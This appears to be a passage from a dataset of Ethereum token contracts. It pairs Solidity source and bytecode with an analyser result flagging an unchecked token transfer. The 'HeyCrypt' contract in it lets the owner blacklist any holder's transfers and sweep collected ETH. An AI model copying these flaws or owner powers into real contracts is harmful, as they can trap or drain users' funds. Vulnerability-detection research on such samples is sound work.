) onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b057806318160ddd1461020a57806323b872dd1461023357806324bb7c26146102ac578063313ce567146102d957806342966c681461030857806364779ad714610343578063661884631461037057806370a08231146103ca57806379cc6790146104175780638da5cb5b146104715780638f283970146104c657806395d89b41146104ff578063a9059cbb1461058d578063d73dd623146105e7578063db0e16f114610641578063dd62ed3e14610683578063ddeb5094146106ef578063f2fde38b1461071f578063f851a44014610758575b600080fd5b341561012d57600080fd5b6101356107ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017557808201518184015260208101905061015a565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bb57600080fd5b6101f0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e6565b604051808215151515815260200191505060405180910390f35b341561021557600080fd5b61021d6108e4565b6040518082815260200191505060405180910390f35b341561023e57600080fd5b610292600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ea565b604051808215151515815260200191505060405180910390f35b34156102b757600080fd5b6102bf610979565b604051808215151515815260200191505060405180910390f35b34156102e457600080fd5b6102ec61098c565b604051808260ff1660ff16815260200191505060405180910390f35b341561031357600080fd5b6103296004808035906020019091905050610991565b604051808215151515815260200191505060405180910390f35b341561034e57600080fd5b610356610b00565b604051808215151515815260200191505060405180910390f35b341561037b57600080fd5b6103b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b13565b604051808215151515815260200191505060405180910390f35b34156103d557600080fd5b610401600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c11565b6040518082815260200191505060405180910390f35b341561042257600080fd5b610457600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c5a565b604051808215151515815260200191505060405180910390f35b341561047c57600080fd5b610484610c80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d157600080fd5b6104fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca6565b005b341561050a57600080fd5b610512610dc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610552578082015181840152602081019050610537565b50505050905090810190601f16801561057f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059857600080fd5b6105cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dfb565b604051808215151515815260200191505060405180910390f35b34156105f257600080fd5b610627600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e88565b604051808215151515815260200191505060405180910390f35b341561064c57600080fd5b610681600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f86565b005b341561068e57600080fd5b6106d9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110cf565b6040518082815260200191505060405180910390f35b34156106fa57600080fd5b61071d600480803515159060200190919080351515906020019091905050611156565b005b341561072a57600080fd5b610756600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611284565b005b341561076357600080fd5b61076b6113dc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600481526020017f54494d450000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16156108d257600360159054906101000a900460ff1615156108cc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108bc5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156108c757600080fd5b6108d1565b600080fd5b5b6108dc8383611402565b905092915050565b60005481565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561092957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561096457600080fd5b61096f8585856114f4565b9150509392505050565b600360149054906101000a900460ff1681565b601281565b60006109e582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3d826000546115f490919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360159054906101000a900460ff1681565b6000600360149054906101000a900460ff1615610bff57600360159054906101000a900460ff161515610bf957600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610be95750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610bf457600080fd5b610bfe565b600080fd5b5b610c09838361160d565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610c678333846108ea565b1515610c6f57fe5b610c7882610991565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600581526020017f2054494d4500000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e3a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e7557600080fd5b610e7f848461189e565b91505092915050565b6000600360149054906101000a900460ff1615610f7457600360159054906101000a900460ff161515610f6e57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f5e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f6957600080fd5b610f73565b600080fd5b5b610f7e838361199c565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156110af57600080fd5b6102c65a03f115156110c057600080fd5b50505060405180519050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b257600080fd5b600015158215151480156111ca575060011515811515145b1515156111d657600080fd5b81600360146101000a81548160ff02191690831515021790555080600360156101000a81548160ff0219169083151502179055507fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051808215151515815260200191505060405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051808215151515815260200191505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561131c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff16156115e057600360159054906101000a900460ff1615156115da57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115ca5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156115d557600080fd5b6115df565b600080fd5b5b6115eb848484611b98565b90509392505050565b600082821115151561160257fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561171e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b2565b61173183826115f490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff161561198a57600360159054906101000a900460ff16151561198457600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119745750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561197f57600080fd5b611989565b600080fd5b5b6119948383611f57565b905092915050565b6000611a2d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bd557600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c2357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cae57600080fd5b611d0082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f9457600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fe257600080fd5b61203482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120c982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561218f57fe5b80915050929150505600a165627a7a723058206d2a55bd3bad0003f98065ab87e3ef6331f38b688acb95e4f3486dbe29f130b00029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,208
0xbbe0c8e5e19c8da97af5106bbace4157497e8a0f
/* __ __ ______ __ __ ______ ______ __ __ ______ ______ /\ \_\ \ /\ ___\ /\ \_\ \ /\ ___\ /\ == \ /\ \_\ \ /\ == \ /\__ _\ \ \ __ \ \ \ __\ \ \____ \ \ \ \____ \ \ __< \ \____ \ \ \ _-/ \/_/\ \/ \ \_\ \_\ \ \_____\ \/\_____\ \ \_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \/_/\/_/ \/_____/ \/_____/ \/_____/ \/_/ /_/ \/_____/ \/_/ \/_/ */ //https://t.me/heycryptmessenger //https://heycrypt.io // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HeyCrypt is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tfee; uint256 private _mfee; uint256 private _sellFee; uint256 private _buyFee; address payable private _feeAddress; string private constant _name = unicode"HeyCrypt"; string private constant _symbol = unicode"HeyCrypt"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingStarted; bool private inSwap = false; bool private swapEnable = false; bool private removeMaxTxn = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHeldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxHeldAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _buyFee = 10; _sellFee = 12; _feeAddress = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTxn(bool onoff) external onlyOwner() { removeMaxTxn = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _tfee = 0; _mfee = _buyFee; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxTxAmount); require(amount.add(walletBalance) <= _maxHeldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tfee = 0; _mfee = _sellFee; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnable) { uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount , uint256 maxHeldAmount) external onlyOwner() { if (maxTxAmount > 300000000000 * 10**9) { _maxTxAmount = maxTxAmount; _maxHeldAmount = maxHeldAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingStarted,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnable = true; removeMaxTxn = true; _maxTxAmount = 300000000000 * 10**9; _maxHeldAmount = 1000000000000 * 10**9; tradingStarted = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tfee, _mfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setFee(uint256 buyFee, uint256 sellFee)external onlyOwner() { if (sellFee <= _sellFee && buyFee <= _buyFee) { _buyFee = buyFee; _sellFee = sellFee; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb1461030b578063b515566a1461032b578063c3c8cd801461034b578063c9567bf914610360578063dd62ed3e1461037557600080fd5b8063715018a614610299578063733ec069146102ae5780638da5cb5b146102ce57806395d89b411461012f5780639e78fb4f146102f657600080fd5b80632b51106a116100e75780632b51106a14610208578063313ce5671461022857806352f7c988146102445780636fc3eaec1461026457806370a082311461027957600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101c6578063273123b7146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600881526712195e50dc9e5c1d60c21b6020820152905161016691906116b8565b60405180910390f35b34801561017b57600080fd5b5061018f61018a366004611732565b6103bb565b6040519015158152602001610166565b3480156101ab57600080fd5b5069152d02c7e14af68000005b604051908152602001610166565b3480156101d257600080fd5b5061018f6101e136600461175e565b6103d2565b3480156101f257600080fd5b5061020661020136600461179f565b61043b565b005b34801561021457600080fd5b506102066102233660046117ca565b61048f565b34801561023457600080fd5b5060405160098152602001610166565b34801561025057600080fd5b5061020661025f3660046117e7565b6104d7565b34801561027057600080fd5b50610206610529565b34801561028557600080fd5b506101b861029436600461179f565b610560565b3480156102a557600080fd5b50610206610582565b3480156102ba57600080fd5b506102066102c93660046117e7565b6105f6565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561030257600080fd5b5061020661063c565b34801561031757600080fd5b5061018f610326366004611732565b61087b565b34801561033757600080fd5b5061020661034636600461181f565b610888565b34801561035757600080fd5b5061020661091a565b34801561036c57600080fd5b5061020661095a565b34801561038157600080fd5b506101b86103903660046118e4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c8338484610b31565b5060015b92915050565b60006103df848484610c55565b610431843361042c85604051806060016040528060288152602001611ae3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f98565b610b31565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b81526004016104659061191d565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104b95760405162461bcd60e51b81526004016104659061191d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104659061191d565b600b5481111580156105155750600c548211155b1561052557600c829055600b8190555b5050565b6000546001600160a01b031633146105535760405162461bcd60e51b81526004016104659061191d565b4761055d81610fd2565b50565b6001600160a01b0381166000908152600260205260408120546103cc9061100c565b6000546001600160a01b031633146105ac5760405162461bcd60e51b81526004016104659061191d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106205760405162461bcd60e51b81526004016104659061191d565b681043561a882930000082111561052557601091909155601155565b6000546001600160a01b031633146106665760405162461bcd60e51b81526004016104659061191d565b600f